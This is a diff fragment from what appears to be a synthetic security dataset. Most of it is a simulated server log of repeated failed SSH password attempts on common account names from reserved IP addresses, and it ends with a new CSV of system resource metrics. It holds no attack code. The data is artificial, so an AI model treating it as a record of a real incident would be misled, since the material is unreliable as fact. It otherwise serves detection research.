password for support from 192.0.2.24 port 45599 ssh2 +Aug 12 14:03:58 server sshd[1644]: Failed password for support from 172.16.23.101 port 24592 ssh2 +Aug 12 14:03:57 server sshd[1644]: Failed password for oracle from 203.0.113.12 port 14075 ssh2 +Aug 12 14:03:55 server sshd[1644]: Failed password for root from 198.51.100.55 port 46218 ssh2 +Aug 12 14:03:59 server sshd[1644]: Failed password for root from 198.51.100.55 port 63038 ssh2 +Aug 12 14:03:57 server sshd[1644]: Failed password for invalid user john from 198.51.100.55 port 42827 ssh2 +Aug 12 14:03:58 server sshd[1644]: Failed password for support from 203.0.113.12 port 25546 ssh2 +Aug 12 14:03:59 server sshd[1644]: Failed password for admin from 172.16.23.101 port 53251 ssh2 +Aug 12 14:03:59 server sshd[1644]: Failed password for guest from 172.16.23.101 port 22851 ssh2 +Aug 12 14:03:57 server sshd[1644]: Failed password for invalid user webmaster from 203.0.113.12 port 50340 ssh2 +Aug 12 14:04:02 server sshd[1644]: Failed password for invalid user service from 192.0.2.24 port 36330 ssh2 +Aug 12 14:04:04 server sshd[1644]: Failed password for test from 172.16.23.101 port 40694 ssh2 +Aug 12 14:04:00 server sshd[1644]: Failed password for user from 198.51.100.55 port 53225 ssh2 +Aug 12 14:04:03 server sshd[1644]: Failed password for support from 192.0.2.24 port 50645 ssh2 +Aug 12 14:04:02 server sshd[1644]: Failed password for admin from 203.0.113.12 port 53162 ssh2 +Aug 12 14:04:04 server sshd[1644]: Failed password for test from 203.0.113.12 port 61247 ssh2 +Aug 12 14:04:01 server sshd[1644]: Failed password for invalid user ftpuser from 203.0.113.12 port 62057 ssh2 +Aug 12 14:04:04 server sshd[1644]: Failed password for invalid user john from 198.51.100.55 port 45582 ssh2 +Aug 12 14:04:02 server sshd[1644]: Failed password for user from 203.0.113.12 port 11068 ssh2 +Aug 12 14:04:06 server sshd[1644]: Failed password for test from 198.51.100.55 port 43310 ssh2 +Aug 12 14:04:05 server sshd[1644]: Failed password for invalid user backup from 198.51.100.55 port 28046 ssh2 +Aug 12 14:04:08 server sshd[1644]: Failed password for guest from 198.51.100.55 port 44592 ssh2 +Aug 12 14:04:05 server sshd[1644]: Failed password for test from 192.0.2.24 port 49632 ssh2 +Aug 12 14:04:08 server sshd[1644]: Failed password for guest from 203.0.113.12 port 10405 ssh2 +Aug 12 14:04:08 server sshd[1644]: Failed password for oracle from 172.16.23.101 port 51308 ssh2 +Aug 12 14:04:08 server sshd[1644]: Failed password for invalid user dev from 192.0.2.24 port 25653 ssh2 +Aug 12 14:04:09 server sshd[1644]: Failed password for guest from 198.51.100.55 port 25765 ssh2 +Aug 12 14:04:08 server sshd[1644]: Failed password for oracle from 172.16.23.101 port 54484 ssh2 +Aug 12 14:04:10 server sshd[1644]: Failed password for guest from 203.0.113.12 port 49478 ssh2 +Aug 12 14:04:14 server sshd[1644]: Failed password for user from 198.51.100.55 port 46312 ssh2 +Aug 12 14:04:11 server sshd[1644]: Failed password for root from 203.0.113.12 port 25955 ssh2 +Aug 12 14:04:11 server sshd[1644]: Failed password for support from 172.16.23.101 port 59345 ssh2 +Aug 12 14:04:14 server sshd[1644]: Failed password for guest from 203.0.113.12 port 13078 ssh2 +Aug 12 14:04:10 server sshd[1644]: Failed password for invalid user backup from 198.51.100.55 port 26860 ssh2 +Aug 12 14:04:12 server sshd[1644]: Failed password for support from 203.0.113.12 port 21892 ssh2 +Aug 12 14:04:14 server sshd[1644]: Failed password for admin from 198.51.100.55 port 10421 ssh2 +Aug 12 14:04:10 server sshd[1644]: Failed password for invalid user john from 172.16.23.101 port 30061 ssh2 +Aug 12 14:04:14 server sshd[1644]: Failed password for admin from 198.51.100.55 port 62546 ssh2 +Aug 12 14:04:14 server sshd[1644]: Failed password for invalid user ftpuser from 198.51.100.55 port 42447 ssh2 +Aug 12 14:04:14 server sshd[1644]: Failed password for guest from 198.51.100.55 port 11256 ssh2 +Aug 12 14:04:11 server sshd[1644]: Failed password for guest from 192.0.2.24 port 31381 ssh2 +Aug 12 14:04:14 server sshd[1644]: Failed password for guest from 192.0.2.24 port 38933 ssh2 +Aug 12 14:04:11 server CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 12 14:04:16 server sshd[1644]: Failed password for support from 203.0.113.12 port 41782 ssh2 +Aug 12 14:04:15 server sshd[1644]: Failed password for oracle from 172.16.23.101 port 50297 ssh2 +Aug 12 14:04:15 server sshd[1644]: Failed password for support from 198.51.100.55 port 44291 ssh2 +Aug 12 14:04:16 server sshd[1644]: Failed password for root from 203.0.113.12 port 12928 ssh2 +Aug 12 14:04:17 server sshd[1644]: Failed password for invalid user ftpuser from 192.0.2.24 port 64708 ssh2 +Aug 12 14:04:15 server sshd[1644]: Failed password for invalid user ftpuser from 192.0.2.24 port 49156 ssh2 +Aug 12 14:04:17 server sshd[1644]: Failed password for postgres from 203.0.113.12 port 59386 ssh2 +Aug 12 14:04:16 server sshd[1644]: Failed password for admin from 198.51.100.55 port 41371 ssh2 +Aug 12 14:04:18 server sshd[1644]: Failed password for invalid user backup from 172.16.23.101 port 36820 ssh2 +Aug 12 14:04:22 server sshd[1644]: Failed password for postgres from 172.16.23.101 port 38199 ssh2 +Aug 12 14:04:24 server sshd[1644]: Failed password for admin from 192.0.2.24 port 19854 ssh2 +Aug 12 14:04:23 server sshd[1644]: Failed password for invalid user service from 172.16.23.101 port 50621 ssh2 +Aug 12 14:04:22 server sshd[1644]: Failed password for user from 172.16.23.101 port 15736 ssh2 +Aug 12 14:04:23 server sshd[1644]: Failed password for user from 172.16.23.101 port 15042 ssh2 +Aug 12 14:04:22 server sshd[1644]: Failed password for oracle from 203.0.113.12 port 39689 ssh2 +Aug 12 14:04:20 server sshd[1644]: Failed password for test from 192.0.2.24 port 32182 ssh2 +Aug 12 14:04:21 server sshd[1644]: Failed password for invalid user john from 203.0.113.12 port 40711 ssh2 +Aug 12 14:04:27 server sshd[1644]: Failed password for user from 172.16.23.101 port 56291 ssh2 +Aug 12 14:04:29 server sshd[1644]: Failed password for invalid user backup from 198.51.100.55 port 44277 ssh2 +Aug 12 14:04:28 server sshd[1644]: Failed password for support from 192.0.2.24 port 18969 ssh2 +Aug 12 14:04:26 server sshd[1644]: Failed password for test from 172.16.23.101 port 23099 ssh2 +Aug 12 14:04:25 server sshd[1644]: Failed password for invalid user service from 198.51.100.55 port 10254 ssh2 +Aug 12 14:04:26 server sshd[1644]: Failed password for user from 192.0.2.24 port 49861 ssh2 +Aug 12 14:04:25 server sshd[1644]: Failed password for test from 198.51.100.55 port 56976 ssh2 +Aug 12 14:04:29 server sshd[1644]: Failed password for test from 198.51.100.55 port 31599 ssh2 +Aug 12 14:04:26 server sshd[1644]: Failed password for test from 198.51.100.55 port 43559 ssh2 +Aug 12 14:04:27 server sshd[1644]: Failed password for invalid user dev from 198.51.100.55 port 16458 ssh2 +Aug 12 14:04:25 server sshd[1644]: Failed password for test from 192.0.2.24 port 42522 ssh2 +Aug 12 14:04:25 server sshd[1644]: Failed password for user from 172.16.23.101 port 10612 ssh2 +Aug 12 14:04:33 server sshd[1644]: Failed password for root from 198.51.100.55 port 12549 ssh2 +Aug 12 14:04:34 server sshd[1644]: Failed password for guest from 192.0.2.24 port 38591 ssh2 +Aug 12 14:04:32 server sshd[1644]: Failed password for invalid user ftpuser from 192.0.2.24 port 44740 ssh2 +Aug 12 14:04:34 server sshd[1644]: Failed password for invalid user backup from 198.51.100.55 port 14432 ssh2 +Aug 12 14:04:30 server sshd[1644]: Failed password for postgres from 198.51.100.55 port 64204 ssh2 +Aug 12 14:04:33 server sshd[1644]: Failed password for admin from 172.16.23.101 port 40205 ssh2 +Aug 12 14:04:32 server sshd[1644]: Failed password for invalid user webmaster from 203.0.113.12 port 51830 ssh2 +Aug 12 14:04:31 server sshd[1644]: Failed password for user from 198.51.100.55 port 44781 ssh2 +Aug 12 14:04:33 server sshd[1644]: Failed password for invalid user backup from 203.0.113.12 port 41481 ssh2 +Aug 12 14:04:31 server sshd[1644]: Failed password for invalid user dev from 172.16.23.101 port 31080 ssh2 +Aug 12 14:04:31 server sshd[1644]: Failed password for invalid user webmaster from 172.16.23.101 port 53214 ssh2 +Aug 12 14:04:33 server sshd[1644]: Failed password for invalid user service from 198.51.100.55 port 45165 ssh2 +Aug 12 14:04:32 server sshd[1644]: Failed password for postgres from 203.0.113.12 port 12141 ssh2 +Aug 12 14:04:35 server sshd[1644]: Failed password for root from 198.51.100.55 port 44162 ssh2 +Aug 12 14:04:39 server sshd[1644]: Failed password for root from 172.16.23.101 port 18981 ssh2 +Aug 12 14:04:37 server sshd[1644]: Failed password for postgres from 198.51.100.55 port 12625 ssh2 +Aug 12 14:04:36 server sshd[1644]: Failed password for invalid user john from 192.0.2.24 port 33869 ssh2 +Aug 12 14:04:39 server sshd[1644]: Failed password for oracle from 203.0.113.12 port 34631 ssh2 +Aug 12 14:04:35 server sshd[1644]: Failed password for guest from 198.51.100.55 port 29549 ssh2 +Aug 12 14:04:35 server sshd[1644]: Failed password for support from 192.0.2.24 port 27884 ssh2 +Aug 12 14:04:37 server sshd[1644]: Failed password for invalid user ftpuser from 192.0.2.24 port 17548 ssh2 +Aug 12 14:04:39 server sshd[1644]: Failed password for test from 192.0.2.24 port 56575 ssh2 +Aug 12 14:04:36 server sshd[1644]: Failed password for invalid user webmaster from 172.16.23.101 port 45865 ssh2 +Aug 12 14:04:37 server sshd[1644]: Failed password for postgres from 198.51.100.55 port 23429 ssh2 +Aug 12 14:04:36 server sshd[1644]: Failed password for support from 203.0.113.12 port 52573 ssh2 +Aug 12 14:04:37 server sshd[1644]: Failed password for guest from 198.51.100.55 port 33071 ssh2 +Aug 12 14:04:36 server sshd[1644]: Failed password for root from 172.16.23.101 port 51220 ssh2 +Aug 12 14:04:36 server CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 12 14:04:41 server sshd[1644]: Failed password for oracle from 172.16.23.101 port 65136 ssh2 +Aug 12 14:04:44 server sshd[1644]: Failed password for invalid user webmaster from 203.0.113.12 port 43980 ssh2 +Aug 12 14:04:41 server sshd[1644]: Failed password for invalid user backup from 192.0.2.24 port 43544 ssh2 +Aug 12 14:04:43 server sshd[1644]: Failed password for invalid user webmaster from 192.0.2.24 port 29683 ssh2 +Aug 12 14:04:40 server sshd[1644]: Failed password for oracle from 172.16.23.101 port 43997 ssh2 +Aug 12 14:04:43 server sshd[1644]: Failed password for test from 172.16.23.101 port 45477 ssh2 +Aug 12 14:04:43 server sshd[1644]: Failed password for guest from 172.16.23.101 port 27095 ssh2 +Aug 12 14:04:43 server sshd[1644]: Failed password for user from 198.51.100.55 port 18859 ssh2 +Aug 12 14:04:40 server sshd[1644]: Failed password for test from 203.0.113.12 port 18245 ssh2 +Aug 12 14:04:44 server sshd[1644]: Failed password for invalid user service from 198.51.100.55 port 22540 ssh2 +Aug 12 14:04:40 server sshd[1644]: Failed password for guest from 203.0.113.12 port 44972 ssh2 +Aug 12 14:04:45 server sshd[1644]: Failed password for postgres from 192.0.2.24 port 55167 ssh2 +Aug 12 14:04:49 server sshd[1644]: Failed password for invalid user dev from 172.16.23.101 port 33883 ssh2 +Aug 12 14:04:45 server sshd[1644]: Failed password for admin from 172.16.23.101 port 28393 ssh2 +Aug 12 14:04:47 server sshd[1644]: Failed password for postgres from 172.16.23.101 port 54693 ssh2 +Aug 12 14:04:49 server sshd[1644]: Failed password for guest from 203.0.113.12 port 44253 ssh2 +Aug 12 14:04:48 server sshd[1644]: Failed password for test from 172.16.23.101 port 26216 ssh2 +Aug 12 14:04:46 server sshd[1644]: Failed password for invalid user john from 203.0.113.12 port 54146 ssh2 +Aug 12 14:04:45 server sshd[1644]: Failed password for invalid user dev from 192.0.2.24 port 65462 ssh2 +Aug 12 14:04:47 server sshd[1644]: Failed password for invalid user dev from 172.16.23.101 port 13479 ssh2 +Aug 12 14:04:46 server sshd[1644]: Failed password for admin from 203.0.113.12 port 39870 ssh2 +Aug 12 14:04:49 server sshd[1644]: Failed password for postgres from 198.51.100.55 port 35555 ssh2 +Aug 12 14:04:46 server sshd[1644]: Failed password for oracle from 203.0.113.12 port 58090 ssh2 +Aug 12 14:04:53 server sshd[1644]: Failed password for invalid user john from 192.0.2.24 port 47094 ssh2 +Aug 12 14:04:50 server sshd[1644]: Failed password for test from 203.0.113.12 port 53540 ssh2 +Aug 12 14:04:54 server sshd[1644]: Failed password for oracle from 172.16.23.101 port 16652 ssh2 +Aug 12 14:04:54 server sshd[1644]: Failed password for root from 203.0.113.12 port 12407 ssh2 +Aug 12 14:04:51 server sshd[1644]: Failed password for admin from 203.0.113.12 port 40324 ssh2 +Aug 12 14:04:51 server sshd[1644]: Failed password for admin from 198.51.100.55 port 57414 ssh2 +Aug 12 14:04:52 server sshd[1644]: Failed password for invalid user john from 172.16.23.101 port 28043 ssh2 +Aug 12 14:04:50 server sshd[1644]: Failed password for root from 172.16.23.101 port 10881 ssh2 +Aug 12 14:04:51 server sshd[1644]: Failed password for admin from 198.51.100.55 port 52839 ssh2 +Aug 12 14:04:54 server sshd[1644]: Failed password for guest from 198.51.100.55 port 32954 ssh2 +Aug 12 14:04:53 server sshd[1644]: Failed password for support from 198.51.100.55 port 61209 ssh2 +Aug 12 14:04:54 server sshd[1644]: Failed password for invalid user service from 198.51.100.55 port 53309 ssh2 +Aug 12 14:04:54 server sshd[1644]: Failed password for postgres from 192.0.2.24 port 43845 ssh2 +Aug 12 14:04:52 server sshd[1644]: Failed password for invalid user service from 192.0.2.24 port 45522 ssh2 +Aug 12 14:04:55 server sshd[1644]: Failed password for invalid user john from 203.0.113.12 port 60772 ssh2 +Aug 12 14:04:59 server sshd[1644]: Failed password for admin from 198.51.100.55 port 10910 ssh2 +Aug 12 14:04:58 server sshd[1644]: Failed password for support from 192.0.2.24 port 58214 ssh2 +Aug 12 14:04:55 server sshd[1644]: Failed password for guest from 198.51.100.55 port 29606 ssh2 +Aug 12 14:04:56 server sshd[1644]: Failed password for user from 172.16.23.101 port 61955 ssh2 +Aug 12 14:04:56 server sshd[1644]: Failed password for guest from 192.0.2.24 port 42036 ssh2 +Aug 12 14:04:55 server sshd[1644]: Failed password for support from 203.0.113.12 port 24490 ssh2 +Aug 12 14:04:56 server sshd[1644]: Failed password for user from 192.0.2.24 port 56402 ssh2 +Aug 12 14:04:57 server sshd[1644]: Failed password for invalid user dev from 198.51.100.55 port 55289 ssh2 +Aug 12 14:05:00 server sshd[1644]: Failed password for test from 192.0.2.24 port 43451 ssh2 +Aug 12 14:05:01 server sshd[1644]: Failed password for admin from 198.51.100.55 port 49119 ssh2 +Aug 12 14:05:01 server sshd[1644]: Failed password for invalid user ftpuser from 192.0.2.24 port 65369 ssh2 +Aug 12 14:05:03 server sshd[1644]: Failed password for guest from 192.0.2.24 port 60877 ssh2 +Aug 12 14:05:03 server sshd[1644]: Failed password for admin from 172.16.23.101 port 50664 ssh2 +Aug 12 14:05:00 server sshd[1644]: Failed password for test from 172.16.23.101 port 54504 ssh2 +Aug 12 14:05:03 server sshd[1644]: Failed password for test from 198.51.100.55 port 13578 ssh2 +Aug 12 14:05:01 server sshd[1644]: Failed password for invalid user john from 198.51.100.55 port 64119 ssh2 +Aug 12 14:05:03 server sshd[1644]: Failed password for root from 192.0.2.24 port 45346 ssh2 +Aug 12 14:05:00 server sshd[1644]: Failed password for invalid user ftpuser from 203.0.113.12 port 40616 ssh2 +Aug 12 14:05:03 server sshd[1644]: Failed password for invalid user backup from 203.0.113.12 port 60225 ssh2 +Aug 12 14:05:00 server sshd[1644]: Failed password for support from 172.16.23.101 port 22894 ssh2 +Aug 12 14:05:01 server sshd[1644]: Failed password for invalid user backup from 172.16.23.101 port 44887 ssh2 +Aug 12 14:05:02 server sshd[1644]: Failed password for support from 198.51.100.55 port 54123 ssh2 +Aug 12 14:05:02 server sshd[1644]: Failed password for oracle from 198.51.100.55 port 18962 ssh2 +Aug 12 14:05:01 server CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 12 14:05:08 server sshd[1644]: Failed password for support from 203.0.113.12 port 18179 ssh2 +Aug 12 14:05:06 server sshd[1644]: Failed password for invalid user webmaster from 203.0.113.12 port 34058 ssh2 +Aug 12 14:05:09 server sshd[1644]: Failed password for oracle from 203.0.113.12 port 28308 ssh2 +Aug 12 14:05:07 server sshd[1644]: Failed password for guest from 198.51.100.55 port 42915 ssh2 +Aug 12 14:05:06 server sshd[1644]: Failed password for postgres from 172.16.23.101 port 55799 ssh2 +Aug 12 14:05:08 server sshd[1644]: Failed password for guest from 172.16.23.101 port 38986 ssh2 +Aug 12 14:05:09 server sshd[1644]: Failed password for oracle from 198.51.100.55 port 42299 ssh2 +Aug 12 14:05:05 server sshd[1644]: Failed password for invalid user ftpuser from 203.0.113.12 port 42305 ssh2 +Aug 12 14:05:09 server sshd[1644]: Failed password for invalid user dev from 203.0.113.12 port 32424 ssh2 +Aug 12 14:05:07 server sshd[1644]: Failed password for support from 198.51.100.55 port 41289 ssh2 +Aug 12 14:05:05 server sshd[1644]: Failed password for invalid user dev from 198.51.100.55 port 31070 ssh2 +Aug 12 14:05:08 server sshd[1644]: Failed password for invalid user ftpuser from 172.16.23.101 port 43157 ssh2 +Aug 12 14:05:05 server sshd[1644]: Failed password for invalid user service from 203.0.113.12 port 63748 ssh2 +Aug 12 14:05:05 server sshd[1644]: Failed password for oracle from 198.51.100.55 port 47929 ssh2 +Aug 12 14:05:10 server sshd[1644]: Failed password for invalid user john from 192.0.2.24 port 58373 ssh2 +Aug 12 14:05:10 server sshd[1644]: Failed password for root from 192.0.2.24 port 43059 ssh2 +Aug 12 14:05:12 server sshd[1644]: Failed password for invalid user service from 198.51.100.55 port 58290 ssh2 +Aug 12 14:05:13 server sshd[1644]: Failed password for test from 203.0.113.12 port 55788 ssh2 +Aug 12 14:05:13 server sshd[1644]: Failed password for invalid user dev from 172.16.23.101 port 62002 ssh2 +Aug 12 14:05:14 server sshd[1644]: Failed password for invalid user dev from 172.16.23.101 port 15760 ssh2 +Aug 12 14:05:13 server sshd[1644]: Failed password for support from 192.0.2.24 port 61036 ssh2 +Aug 12 14:05:10 server sshd[1644]: Failed password for test from 203.0.113.12 port 38531 ssh2 +Aug 12 14:05:13 server sshd[1644]: Failed password for root from 198.51.100.55 port 63111 ssh2 +Aug 12 14:05:14 server sshd[1644]: Failed password for postgres from 192.0.2.24 port 40309 ssh2 +Aug 12 14:05:10 server sshd[1644]: Failed password for admin from 203.0.113.12 port 31954 ssh2 +Aug 12 14:05:13 server sshd[1644]: Failed password for user from 203.0.113.12 port 24790 ssh2 +Aug 12 14:05:17 server sshd[1644]: Failed password for oracle from 172.16.23.101 port 55881 ssh2 +Aug 12 14:05:19 server sshd[1644]: Failed password for invalid user backup from 192.0.2.24 port 11377 ssh2 +Aug 12 14:05:15 server sshd[1644]: Failed password for test from 192.0.2.24 port 17740 ssh2 +Aug 12 14:05:18 server sshd[1644]: Failed password for support from 172.16.23.101 port 27984 ssh2 +Aug 12 14:05:17 server sshd[1644]: Failed password for user from 172.16.23.101 port 30431 ssh2 +Aug 12 14:05:17 server sshd[1644]: Failed password for root from 203.0.113.12 port 42189 ssh2 +Aug 12 14:05:17 server sshd[1644]: Failed password for guest from 198.51.100.55 port 30771 ssh2 +Aug 12 14:05:16 server sshd[1644]: Failed password for postgres from 203.0.113.12 port 48057 ssh2 +Aug 12 14:05:16 server sshd[1644]: Failed password for invalid user john from 198.51.100.55 port 47525 ssh2 +Aug 12 14:05:16 server sshd[1644]: Failed password for invalid user john from 172.16.23.101 port 44594 ssh2 +Aug 12 14:05:15 server sshd[1644]: Failed password for invalid user backup from 172.16.23.101 port 19279 ssh2 +Aug 12 14:05:21 server sshd[1644]: Failed password for invalid user service from 172.16.23.101 port 64759 ssh2 +Aug 12 14:05:24 server sshd[1644]: Failed password for invalid user dev from 192.0.2.24 port 57110 ssh2 +Aug 12 14:05:24 server sshd[1644]: Failed password for invalid user john from 198.51.100.55 port 14115 ssh2 +Aug 12 14:05:24 server sshd[1644]: Failed password for invalid user backup from 192.0.2.24 port 52609 ssh2 +Aug 12 14:05:24 server sshd[1644]: Failed password for user from 192.0.2.24 port 37086 ssh2 +Aug 12 14:05:21 server sshd[1644]: Failed password for oracle from 192.0.2.24 port 39760 ssh2 +Aug 12 14:05:20 server sshd[1644]: Failed password for invalid user webmaster from 198.51.100.55 port 59899 ssh2 +Aug 12 14:05:21 server sshd[1644]: Failed password for user from 198.51.100.55 port 33065 ssh2 +Aug 12 14:05:22 server sshd[1644]: Failed password for oracle from 198.51.100.55 port 14186 ssh2 +Aug 12 14:05:21 server sshd[1644]: Failed password for root from 203.0.113.12 port 11011 ssh2 +Aug 12 14:05:20 server sshd[1644]: Failed password for test from 172.16.23.101 port 57018 ssh2 +Aug 12 14:05:24 server sshd[1644]: Failed password for oracle from 198.51.100.55 port 40764 ssh2 +Aug 12 14:05:24 server sshd[1644]: Failed password for support from 192.0.2.24 port 59197 ssh2 +Aug 12 14:05:24 server sshd[1644]: Failed password for postgres from 172.16.23.101 port 60529 ssh2 +Aug 12 14:05:20 server sshd[1644]: Failed password for invalid user webmaster from 192.0.2.24 port 58585 ssh2 +Aug 12 14:05:27 server sshd[1644]: Failed password for guest from 203.0.113.12 port 26393 ssh2 +Aug 12 14:05:25 server sshd[1644]: Failed password for invalid user webmaster from 172.16.23.101 port 65534 ssh2 +Aug 12 14:05:27 server sshd[1644]: Failed password for root from 192.0.2.24 port 44880 ssh2 +Aug 12 14:05:29 server sshd[1644]: Failed password for support from 198.51.100.55 port 42694 ssh2 +Aug 12 14:05:29 server sshd[1644]: Failed password for test from 198.51.100.55 port 49760 ssh2 +Aug 12 14:05:27 server sshd[1644]: Failed password for invalid user webmaster from 198.51.100.55 port 61534 ssh2 +Aug 12 14:05:25 server sshd[1644]: Failed password for user from 172.16.23.101 port 21011 ssh2 +Aug 12 14:05:28 server sshd[1644]: Failed password for root from 192.0.2.24 port 39323 ssh2 +Aug 12 14:05:26 server sshd[1644]: Failed password for admin from 203.0.113.12 port 37149 ssh2 +Aug 12 14:05:29 server sshd[1644]: Failed password for postgres from 198.51.100.55 port 42914 ssh2 +Aug 12 14:05:26 server sshd[1644]: Failed password for invalid user john from 192.0.2.24 port 40603 ssh2 +Aug 12 14:05:25 server sshd[1644]: Failed password for invalid user service from 203.0.113.12 port 17116 ssh2 +Aug 12 14:05:29 server sshd[1644]: Failed password for support from 192.0.2.24 port 50241 ssh2 +Aug 12 14:05:26 server sshd[1644]: Failed password for oracle from 192.0.2.24 port 27552 ssh2 +Aug 12 14:05:25 server CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 12 14:05:34 server sshd[1644]: Failed password for postgres from 192.0.2.24 port 12735 ssh2 +Aug 12 14:05:33 server sshd[1644]: Failed password for user from 192.0.2.24 port 26553 ssh2 +Aug 12 14:05:30 server sshd[1644]: Failed password for root from 192.0.2.24 port 59373 ssh2 +Aug 12 14:05:34 server sshd[1644]: Failed password for support from 203.0.113.12 port 10531 ssh2 +Aug 12 14:05:34 server sshd[1644]: Failed password for oracle from 172.16.23.101 port 41242 ssh2 +Aug 12 14:05:31 server sshd[1644]: Failed password for admin from 192.0.2.24 port 15818 ssh2 +Aug 12 14:05:33 server sshd[1644]: Failed password for user from 203.0.113.12 port 53021 ssh2 +Aug 12 14:05:33 server sshd[1644]: Failed password for user from 192.0.2.24 port 26279 ssh2 +Aug 12 14:05:32 server sshd[1644]: Failed password for postgres from 203.0.113.12 port 52105 ssh2 +Aug 12 14:05:32 server sshd[1644]: Failed password for invalid user service from 172.16.23.101 port 38113 ssh2 +Aug 12 14:05:31 server sshd[1644]: Failed password for user from 172.16.23.101 port 11854 ssh2 +Aug 12 14:05:34 server sshd[1644]: Failed password for support from 203.0.113.12 port 32045 ssh2 +Aug 12 14:05:32 server sshd[1644]: Failed password for user from 172.16.23.101 port 63524 ssh2 +Aug 12 14:05:36 server sshd[1644]: Failed password for oracle from 172.16.23.101 port 15249 ssh2 +Aug 12 14:05:37 server sshd[1644]: Failed password for admin from 172.16.23.101 port 43773 ssh2 +Aug 12 14:05:36 server sshd[1644]: Failed password for support from 203.0.113.12 port 45108 ssh2 +Aug 12 14:05:37 server sshd[1644]: Failed password for admin from 192.0.2.24 port 39771 ssh2 +Aug 12 14:05:35 server sshd[1644]: Failed password for test from 192.0.2.24 port 65219 ssh2 +Aug 12 14:05:35 server sshd[1644]: Failed password for invalid user webmaster from 192.0.2.24 port 64009 ssh2 +Aug 12 14:05:37 server sshd[1644]: Failed password for support from 203.0.113.12 port 20237 ssh2 +Aug 12 14:05:39 server sshd[1644]: Failed password for invalid user ftpuser from 172.16.23.101 port 49954 ssh2 +Aug 12 14:05:35 server sshd[1644]: Failed password for guest from 203.0.113.12 port 26652 ssh2 +Aug 12 14:05:35 server sshd[1644]: Failed password for guest from 203.0.113.12 port 54281 ssh2 +Aug 12 14:05:35 server sshd[1644]: Failed password for postgres from 192.0.2.24 port 44105 ssh2 +Aug 12 14:05:43 server sshd[1644]: Failed password for support from 198.51.100.55 port 52826 ssh2 +Aug 12 14:05:41 server sshd[1644]: Failed password for root from 198.51.100.55 port 54311 ssh2 +Aug 12 14:05:41 server sshd[1644]: Failed password for test from 198.51.100.55 port 33153 ssh2 +Aug 12 14:05:42 server sshd[1644]: Failed password for oracle from 198.51.100.55 port 65124 ssh2 +Aug 12 14:05:43 server sshd[1644]: Failed password for invalid user webmaster from 198.51.100.55 port 64992 ssh2 +Aug 12 14:05:43 server sshd[1644]: Failed password for support from 198.51.100.55 port 58099 ssh2 +Aug 12 14:05:40 server sshd[1644]: Failed password for user from 203.0.113.12 port 57572 ssh2 +Aug 12 14:05:43 server sshd[1644]: Failed password for postgres from 192.0.2.24 port 58187 ssh2 +Aug 12 14:05:43 server sshd[1644]: Failed password for invalid user john from 172.16.23.101 port 39260 ssh2 +Aug 12 14:05:40 server sshd[1644]: Failed password for postgres from 198.51.100.55 port 43392 ssh2 +Aug 12 14:05:40 server sshd[1644]: Failed password for oracle from 172.16.23.101 port 17239 ssh2 +Aug 12 14:05:44 server sshd[1644]: Failed password for invalid user ftpuser from 172.16.23.101 port 10944 ssh2 +Aug 12 14:05:40 server sshd[1644]: Failed password for admin from 192.0.2.24 port 57592 ssh2 +Aug 12 14:05:44 server sshd[1644]: Failed password for guest from 198.51.100.55 port 10920 ssh2 +Aug 12 14:05:42 server sshd[1644]: Failed password for invalid user dev from 192.0.2.24 port 21558 ssh2 +Aug 12 14:05:49 server sshd[1644]: Failed password for guest from 198.51.100.55 port 52554 ssh2 +Aug 12 14:05:49 server sshd[1644]: Failed password for support from 172.16.23.101 port 36855 ssh2 +Aug 12 14:05:47 server sshd[1644]: Failed password for support from 172.16.23.101 port 15806 ssh2 +Aug 12 14:05:49 server sshd[1644]: Failed password for root from 172.16.23.101 port 38397 ssh2 +Aug 12 14:05:49 server sshd[1644]: Failed password for support from 192.0.2.24 port 40482 ssh2 +Aug 12 14:05:47 server sshd[1644]: Failed password for root from 172.16.23.101 port 21754 ssh2 +Aug 12 14:05:45 server sshd[1644]: Failed password for postgres from 192.0.2.24 port 15395 ssh2 +Aug 12 14:05:47 server sshd[1644]: Failed password for oracle from 192.0.2.24 port 45776 ssh2 +Aug 12 14:05:52 server systemd[1]: Starting daily clean up activities... +Aug 12 14:06:01 server web-app[1234]: GET /api/v1/user/17 status=200 OK +Aug 12 14:06:16 server web-app[1234]: GET /api/v1/user/11 status=200 OK +Aug 12 14:06:30 server web-app[1234]: GET /api/v1/user/16 status=200 OK +Aug 12 14:06:42 server systemd[1]: Starting daily clean up activities... +Aug 12 14:06:49 server web-app[1234]: GET /api/v1/user/13 status=200 OK +Aug 12 14:07:02 server web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 12 14:07:15 server web-app[1234]: GET /api/v1/user/18 status=200 OK diff --git a/mali_dataset/scenario_7/mali_7_14.csv b/mali_dataset/scenario_7/mali_7_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..ceb891a975eb9d3a388b7e1f13949c35eade9423 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,15.77,38.34,8.93,1.0,0.54 +2025-07-15T14:00:05Z,16.94,40.7,11.9,1.38,0.74 +2025-07-15T14:00:10Z,13.72,39.56,12.28,0.93,1.01 +2025-07-15T14:00:15Z,11.97,39.15,9.97,1.42,0.85 +2025-07-15T14:00:20Z,13.13,41.03,5.09,1.26,0.72 +2025-07-15T14:00:25Z,15.12,39.09,5.82,1.36,1.01 +2025-07-15T14:00:30Z,10.02,40.6,5.6,0.88,1.04 +2025-07-15T14:00:35Z,12.52,39.8,13.4,1.46,1.1 +2025-07-15T14:00:40Z,17.46,38.69,12.65,1.28,0.74 +2025-07-15T14:00:45Z,19.3,41.64,9.51,0.83,1.05 +2025-07-15T14:00:50Z,18.65,38.95,8.44,1.23,1.06 +2025-07-15T14:00:55Z,17.44,41.78,8.37,1.15,0.65 +2025-07-15T14:01:00Z,12.82,41.68,13.99,1.15,0.86 +2025-07-15T14:01:05Z,19.73,38.84,13.75,1.33,0.59 +2025-07-15T14:01:10Z,10.58,40.46,13.96,1.39,0.85 +2025-07-15T14:01:15Z,19.27,40.6,12.69,0.8,1.17 +2025-07-15T14:01:20Z,16.51,39.38,14.81,0.85,1.05 +2025-07-15T14:01:25Z,12.68,41.33,14.12,0.83,0.77 +2025-07-15T14:01:30Z,11.0,41.19,13.23,1.33,1.15 +2025-07-15T14:01:35Z,10.79,39.86,6.74,1.22,1.0 